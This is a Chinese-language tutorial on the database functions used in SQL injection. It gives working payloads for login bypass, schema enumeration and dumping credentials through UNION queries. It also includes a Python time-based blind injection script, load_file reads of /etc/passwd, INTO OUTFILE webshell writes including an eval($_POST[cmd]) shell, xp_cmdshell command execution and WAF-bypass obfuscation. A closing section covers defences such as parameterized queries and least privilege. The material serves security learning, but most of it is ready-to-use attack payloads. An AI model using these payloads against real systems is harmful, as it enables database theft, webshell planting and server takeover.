1. 从“万能密码”说起为什么函数是SQL注入的灵魂很多刚接触Web安全测试的朋友最开始接触SQL注入可能都是从那个经典的“万能密码”开始的在登录框的用户名输入admin or 11密码随便填。如果后台的SQL语句是SELECT * FROM users WHERE username$username AND password$password那么拼接后就变成了SELECT * FROM users WHERE usernameadmin or 11 AND passwordxxx。由于11永远为真这条语句就绕过了密码验证。这个例子很直观但它只是SQL注入的“入门级”玩法。它依赖的是一个简单的逻辑运算符or和一个恒真的字符串比较。在真实的渗透测试、CTF比赛或者代码审计中你遇到的场景要复杂得多数据库可能过滤了单引号关键数据可能被编码你需要从数据库里提取特定的信息比如管理员密码的哈希值而不仅仅是“绕过登录”。这时候数据库内置的各种函数就成了你手中的“瑞士军刀”。SQL注入的本质是攻击者能够“注入”并“执行”自己构造的SQL代码。而函数就是构造这段代码的“积木”和“工具”。它们能帮你完成几件核心事情探测环境这是什么数据库什么版本、提取数据如何把数据库名、表名、字段值“搬”出来、绕过过滤如何绕过WAF或代码层对某些字符的拦截、执行高级操作比如读写文件、执行命令。不理解这些函数你的SQL注入能力就永远停留在“碰运气”的层面。我见过不少安全工程师工具用得很溜sqlmap一把梭但一旦遇到需要手动构造、需要绕过特定过滤的场景就束手无策。根源就在于对底层SQL语法尤其是各类函数的组合运用不熟悉。这篇文章我就结合十多年一线实战和CTF出题、解题的经验为你系统梳理SQL注入中那些高频、关键的函数并深入讲解它们在不同场景下的组合拳打法。我们不止讲“是什么”更重点剖析“为什么用这个”以及“怎么组合起来用”。2. 信息搜集与环境探测你的“侦察兵”函数在发起一次有目的的注入攻击前搞清楚目标环境是第一步。不同的数据库MySQL、PostgreSQL、Microsoft SQL Server、Oracle等其函数库、系统表、语法细节差异巨大。用MySQL的函数去攻击一个Oracle数据库只会返回一堆错误。以下这些函数就是你的“侦察兵”。2.1 数据库指纹识别函数攻击的第一步是判断数据库类型。虽然通过报错信息有时能直接看出但在盲注或联合查询场景下我们需要用函数来“问”。version()/version: 这是最直接的。在MySQL中SELECT version();返回如8.0.33。在MSSQL中则是SELECT version;。Oracle和PostgreSQL也有各自的版本查询方式如Oracle的SELECT * FROM v$version;。通过返回的版本字符串不仅能确定数据库类型还能知道具体版本号为后续寻找已知漏洞利用打下基础。user()/current_user/system_user: 获取当前数据库连接的用户。SELECT user();在MySQL中可能返回rootlocalhost。知道当前用户权限至关重要如果返回的是高权限用户如root,sa那么后续进行文件读写或命令执行的可能性就大大增加。database(): MySQL特有获取当前使用的数据库名。在联合查询注入中经常需要先获取库名再获取表名。SELECT database();可以直接拿到这个信息。实战场景与技巧 假设一个查询点形如SELECT title, content FROM articles WHERE id$id且$id可控。我们可以构造$id -1 UNION SELECT version(), database()这样原本查询文章内容的地方就会显示出数据库版本和当前库名。这是联合查询注入获取基础信息的标准起手式。注意在实际渗透中直接使用UNION SELECT可能因为列数不匹配而失败。你需要先用ORDER BY或UNION SELECT NULL,NULL,...来探测原始查询的列数。例如$id1 ORDER BY 5如果报错说明列数小于5逐步调整直到不报错确定列数后再构造对应的UNION查询。2.2 数据库结构探查函数知道数据库类型和库名后下一步就是摸清库里有啥表表里有啥字段。这里需要用到查询数据库元数据metadata的系统表或视图而函数常用来配合处理从这些表中查询到的数据。group_concat()(MySQL) /string_agg()(PostgreSQL):这是盲注和联合查询中提取数据的“神器”。系统表如MySQL的information_schema.tables里存放了所有表名但一个SELECT table_name FROM ...会返回多行结果。在注入点只能回显单行单列数据时如何一次性拿到所有表名group_concat()就是将多行结果合并成一个字符串的函数。用法SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schemadatabase()这行查询会返回当前数据库所有表名用逗号连接成一个字符串如users,articles,config,admin。在PostgreSQL中对应的函数是string_agg(column_name, ,)。concat()/concat_ws(): 字符串连接函数。在需要将多个字段或字符串常量拼接成一个字段返回时非常有用。例如你想一次性查看表名和表类型SELECT concat(table_name, (, table_type, )) FROM ...。concat_ws(separator, str1, str2...)则可以指定连接符更规整。substring()/substr()/mid(): 子串截取函数。在基于时间的盲注Time-Based Blind Injection中我们往往需要逐位bit by bit或char by char地猜解数据。例如猜解database()返回值的第一个字符的ASCII码。我们会用到像IF(ascii(substr(database(),1,1))100, sleep(5), 0)这样的语句。substr(string, start, length)负责从字符串中截取指定部分供我们判断。一个完整的侦察链示例MySQL 假设我们通过联合查询已经确定有3个回显列并且可以执行任意查询。获取所有表名-1 UNION SELECT 1, (SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schemadatabase()), 3假设返回users,posts,config对感兴趣的表如users获取所有字段名-1 UNION SELECT 1, (SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schemadatabase() AND table_nameusers), 3假设返回id,username,password,email提取关键数据-1 UNION SELECT 1, username, password FROM users LIMIT 0,1这样就拿到了第一条用户凭证。如果想一次性拿到所有可以再次使用group_concat:-1 UNION SELECT 1, (SELECT group_concat(concat(username, :, password) SEPARATOR ||) FROM users), 33. 数据提取与变形你的“搬运工”与“伪装者”函数直接SELECT password FROM users可能因为字段类型不匹配、数据包含特殊字符导致显示不全或报错。我们需要一些函数来帮助数据“安全”地通过注入点回显出来或者改变数据的形态以绕过过滤。3.1 编码与解码函数当目标应用可能对输出进行HTML编码或者数据库内容本身是二进制如哈希值时我们需要编码函数来确保数据能正确显示。hex()/unhex():处理二进制数据的首选。如果你要提取一个password字段而它存储的是md5或sha1哈希二进制字符串直接SELECT password可能会得到乱码。SELECT hex(password)会将其转换为16进制字符串如5f4dcc3b5aa765d61d8327deb882cf99完美适用于文本回显。在注入时我们经常先hex再提取。base64_encode()(部分数据库支持或通过Web语言): 原理同hex另一种编码方式。有时WAF或过滤器可能检测hex(关键字但不会检测base64。char(): 将ASCII码转换为对应的字符。在盲注中当我们通过ascii(substr(...))猜解出某个字符的ASCII码后可以用char()来还原它或者用于构造一些不可打印字符。例如char(10)是换行符。3.2 字符串操作与空白符函数这些函数用于构造绕过语句或者处理字符串细节。concat()(再次强调): 除了拼接查询结果它更是绕过WAF空格过滤的利器。许多初级WAF会简单检测空格来分割SQL关键字。你可以用concat()来替代空格连接字符串但更常见的做法是使用其他空白符。注释符--、#、/* */: 虽然不算函数但必须提。它们用于截断原SQL语句的后半部分。例如在登录注入中admin--。这样后面的AND password...就被注释掉了。空白符替代 空格可以被多种字符替代WAF可能不识别制表符%09(URL编码)换行符%0a回车符%0d括号在MySQL中括号()经常可以用来代替空格例如SELECT(username)FROM(users)WHERE(id)1。这能绕过很多简单的空格过滤规则。3.3 条件判断与盲注核心函数盲注是SQL注入的高级形式当页面没有明确回显数据只有“对”和“错”布尔盲注或响应时间快慢时间盲注两种状态时这些函数就是我们的眼睛。if()/case when:布尔盲注的逻辑引擎。IF(condition, value_if_true, value_if_false): 例如IF(11, sleep(5), 0)如果条件为真则睡眠5秒。在时间盲注中我们通过IF函数结合sleep()来判断猜解条件是否成立。更复杂的逻辑可以用CASE WHEN condition THEN result1 ELSE result2 END。sleep()/benchmark():时间盲注的“秒表”。sleep(n): 让数据库等待n秒。IF(ascii(substr(database(),1,1))100, sleep(5), 0)如果第一个字符的ASCII码是100则页面响应会延迟5秒。benchmark(count, expr): 重复执行表达式exprcount次用于制造延迟。例如BENCHMARK(10000000, MD5(test))。当sleep()函数被禁用时benchmark是一个备选方案。length(): 用于判断字符串长度。在盲注开始前我们通常需要先判断目标数据的长度比如password字段值的长度。IF(length(database())5, sleep(2), 0)。ascii()/ord(): 将单个字符转换为ASCII码值。这是逐字符猜解的基础。ascii(substr(database(),1,1))返回当前数据库名第一个字符的ASCII码。like/regexp: 用于字符串匹配。在布尔盲注中有时可以不用ascii()精确猜解而用like进行模式匹配来加快速度。例如IF(database() LIKE a%, sleep(2), 0)判断库名是否以a开头。时间盲注实战脚本逻辑伪代码 假设我们通过时间延迟判断猜解admin用户的password哈希值假设为32位MD5。import requests import time url http://target.com/vuln.php?id1 result for pos in range(1, 33): # 猜解32位哈希的每一位 for ascii_val in range(32, 127): # 可打印字符范围 # 构造Payload: 如果第pos位字符的ASCII码等于当前猜测值则延迟3秒 payload f1 AND IF(ascii(substr((SELECT password FROM users WHERE usernameadmin LIMIT 1),{pos},1)){ascii_val}, sleep(3), 0)-- - start_time time.time() requests.get(url, params{id: payload}) elapsed time.time() - start_time if elapsed 2.5: # 判断是否发生延迟 result chr(ascii_val) print(fPosition {pos}: {chr(ascii_val)} - {result}) break print(fFinal Hash: {result})这个脚本的核心逻辑就是依靠if(),ascii(),substr(),sleep()这几个函数的组合。4. 高级利用与权限提升危险的“特权”函数当数据库连接用户具备较高权限如MySQL的FILE权限MSSQL的xp_cmdshell执行权限时SQL注入的危害将从数据泄露升级为服务器沦陷。以下函数是攻击者梦寐以求的。4.1 文件读写函数load_file()(MySQL):读取服务器本地文件。前提是用户有FILE权限并且知道文件的绝对路径。UNION SELECT 1, load_file(/etc/passwd), 3可以读取配置文件如数据库连接配置config.php、源代码、敏感系统文件等。路径可以用16进制或char()函数绕过引号过滤如load_file(0x2f6574632f706173737764)。into outfile/into dumpfile(MySQL):写入文件。将查询结果写入服务器文件系统。SELECT ?php phpinfo();? INTO OUTFILE /var/www/html/shell.php这可以直接在Web目录写入一个Webshell获取服务器控制权。同样需要FILE权限且目标目录可写并需注意路径转义和引号绕过。4.2 系统命令执行函数sys_exec()(MySQL UDF提权): 这不是默认函数。攻击者在上传一个自定义的共享库UDF到插件目录后可以创建这个函数来执行系统命令。这是MySQL数据库提权的经典路径。xp_cmdshell(MSSQL):MSSQL中臭名昭著的命令执行扩展存储过程。默认可能被禁用但可以通过sp_configure重新启用需要sa等高级权限。EXEC master..xp_cmdshell whoami一旦能执行xp_cmdshell就意味着完全控制了Windows服务器。dbms_scheduler.create_job(Oracle) /COPY(PostgreSQL 到大文件): 不同数据库都有各自的方式间接执行命令或读写文件需要深厚的数据库知识。利用链示例MySQL FILE权限利用判断是否有FILE权限SELECT grantee, privilege_type FROM information_schema.user_privileges WHERE grantee LIKE %当前用户% AND privilege_typeFILE尝试读取敏感文件UNION SELECT 1, load_file(C:/Windows/System32/drivers/etc/hosts), 3(Windows) 或UNION SELECT 1, load_file(/etc/passwd), 3(Linux)。如果Web路径已知且可写写入WebshellUNION SELECT 1, ?php eval($_POST[cmd]);?, 3 INTO OUTFILE /var/www/html/uploads/shell.php重要警告into outfile在写入内容时必须确保查询返回的列数与SELECT语句匹配且内容需为多行时要确保字段分隔符、行终止符正确否则文件格式可能出错导致Webshell无法执行。into dumpfile则用于写入二进制数据且一次只能写一行。5. 绕过过滤与WAF函数的“奇技淫巧”现代应用多少都会有一些防护措施。函数可以帮助我们变形Payload绕过简单的过滤。5.1 大小写、编码与注释混淆大小写混合 一些简单的过滤器可能只检测小写关键字。SeLeCtUnIoN。内联注释(/*!...*/): MySQL特有语法注释中的内容会被MySQL执行但其他数据库会视为注释。/*!50000UNION*/ SELECT。其中的数字表示MySQL版本号大于等于该值时执行。可以用来绕过一些简单的关键字过滤。URL编码、双重URL编码、十六进制编码 将关键字符编码。SELECT-%53%45%4c%45%43%54。WAF可能在解码一次后检查但应用服务器可能会解码两次。使用concat()拼接关键字SELECT可以被拆分为CONCAT(sel,ect)。或者用CHAR()函数SELECT CHAR(115,101,108,101,99,116)。5.2 等价函数与语法替换当某个函数被过滤时寻找其“替身”。substring()被过滤 试试substr(),mid(),left(),right()。sleep()被过滤 试试benchmark() 或者制造复杂的运算延迟SELECT * FROM users WHERE id1 AND (SELECT COUNT(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C)and/or被过滤 试试和||MySQL中。1 11。被过滤 试试like,rlike,regexp,!的否定逻辑或者用in()。admin LIKE adm%。union select被过滤 尝试在中间加大量空白符换行、制表符、注释或者考虑使用基于错误的注入(updatexml,extractvalue)或盲注不一定非要走联合查询。5.3 利用数据库特性制造错误updatexml()/extractvalue()(MySQL): 这两个是XML处理函数但它们的第二个参数需要是合法的XPath格式。如果我们传入一个非法格式例如包含我们想查询的数据它们就会报错并将这部分数据显示在错误信息中。这就是“报错注入”。AND updatexml(1, concat(0x7e, (SELECT user()), 0x7e), 1)这里0x7e是波浪号~的十六进制用于在错误信息中标记出我们注入的数据。concat将当前用户信息拼接到非法XPath中触发错误并回显。这种方法不需要联合查询的列数匹配在无法使用UNION时非常有效。exp()(MySQL): 一个制造大数据溢出错误的函数也可用于报错注入原理类似。一个综合绕过示例 假设目标过滤了union,select,空格,sleep。 目标Payload原为1 union select 1, database(), 3 -- -可以尝试变形为1/**/uNiOn/**/SeLeCt/**/1,concat(schema_name),3/**/from/**/information_schema.schemata-- -或者使用报错注入1 and updatexml(1, concat(0x7e,(/*!50000select*/database()),0x7e),1)-- -6. 防御视角如何让这些函数“英雄无用武之地”作为开发者了解攻击手法是为了更好地防御。从根源上杜绝SQL注入让上述所有函数技巧失效才是正道。使用参数化查询预编译语句这是唯一从根本上解决注入的方法。让SQL语句的“骨架”和“数据”分离。数据库引擎会明确知道哪些部分是指令哪些部分是数据无论数据中包含什么函数、引号都只会被当作纯数据处理。在PHP中使用PDO的prepare和bindParam在Java中使用PreparedStatement在Python的sqlite3或pymysql中使用?或%s占位符。对输入进行严格的、最小化的白名单校验如果某个参数只能是数字就用intval()或is_numeric()严格校验拒绝一切非数字字符。对于字符串定义明确的允许字符集如仅字母数字并严格过滤。使用安全的ORM框架成熟的ORM框架如Hibernate, MyBatis, Eloquent通常内置了参数化查询能减少手写SQL带来的风险。最小权限原则数据库连接账户绝对不要使用root,sa等高权限账号。根据应用需要创建仅具备SELECT,INSERT,UPDATE,DELETE等必要权限的低权限用户并**坚决移除FILE、GRANT OPTION、PROCESS、SUPER**等危险权限。这样即使发生注入load_file和into outfile也会因权限不足而失败。避免动态拼接SQL这是万恶之源。尽量不要用字符串拼接的方式来生成SQL语句尤其是将用户输入直接拼接到语句中。Web应用防火墙WAF作为纵深防御的一环WAF可以拦截大量已知的、特征明显的注入攻击。但它不是银弹聪明的攻击者可能会利用上述绕过技巧。WAF规则需要持续更新。错误信息处理将生产环境的数据库错误信息进行自定义处理不要将详细的SQL错误包含数据库结构、函数名等信息直接返回给前端用户。这能增加攻击者进行报错注入和盲注的难度。在我经历过的无数次代码审计和渗透测试中99%的SQL注入漏洞都源于开发者图省事直接拼接了用户输入。记住永远不要信任用户输入。把用户输入的一切都当作潜在的恶意代码来处理。当你养成了使用参数化查询的习惯后SQL注入对你来说就将成为一个历史名词文章中提到的这些精巧或者说危险的函数也就失去了用武之地。对于安全研究者而言深入理解这些函数则是为了在“攻”与“防”的博弈中始终能看清对方的底牌。